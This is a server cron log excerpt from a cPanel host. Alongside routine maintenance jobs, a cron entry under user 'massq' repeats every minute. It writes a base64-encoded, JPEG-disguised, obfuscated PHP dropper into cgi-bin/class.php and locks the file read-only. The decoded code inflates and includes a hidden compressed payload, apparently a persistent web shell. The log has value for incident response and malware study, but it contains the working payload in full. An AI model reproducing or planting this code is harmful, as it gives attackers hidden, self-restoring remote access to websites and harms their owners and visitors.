Sep  1 10:11:01 server CROND[20206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:12:01 server CROND[20604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:12:01 server CROND[20606]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 10:12:01 server CROND[20605]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:12:01 server CROND[20607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:13:01 server CROND[21089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:13:01 server CROND[21090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:13:01 server CROND[21091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:14:01 server CROND[21473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:14:01 server CROND[21474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:14:01 server CROND[21475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:15:01 server CROND[21885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:15:01 server CROND[21887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:15:01 server CROND[21888]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:15:01 server CROND[21893]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 10:15:01 server CROND[21895]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:15:01 server CROND[21898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:15:01 server CROND[21896]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 10:15:01 server CROND[21892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:15:01 server CROND[21897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:16:01 server CROND[22966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:16:01 server CROND[22967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:16:01 server CROND[22965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:17:01 server CROND[23372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:17:01 server CROND[23373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:17:01 server CROND[23374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:18:01 server CROND[23751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:18:01 server CROND[23752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:18:01 server CROND[23753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:19:01 server CROND[24236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:19:01 server CROND[24235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:19:01 server CROND[24237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:20:01 server CROND[24615]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:20:01 server CROND[24617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:20:01 server CROND[24628]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 10:20:01 server CROND[24627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:20:01 server CROND[24626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:20:01 server CROND[24630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:20:01 server CROND[24631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:20:01 server CROND[24624]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:20:01 server CROND[24629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:21:01 server CROND[25444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:21:01 server CROND[25445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:21:01 server CROND[25446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:22:01 server CROND[25829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:22:01 server CROND[25828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:22:01 server CROND[25830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:23:01 server CROND[26209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:23:01 server CROND[26210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:23:01 server CROND[26211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:24:01 server CROND[26682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
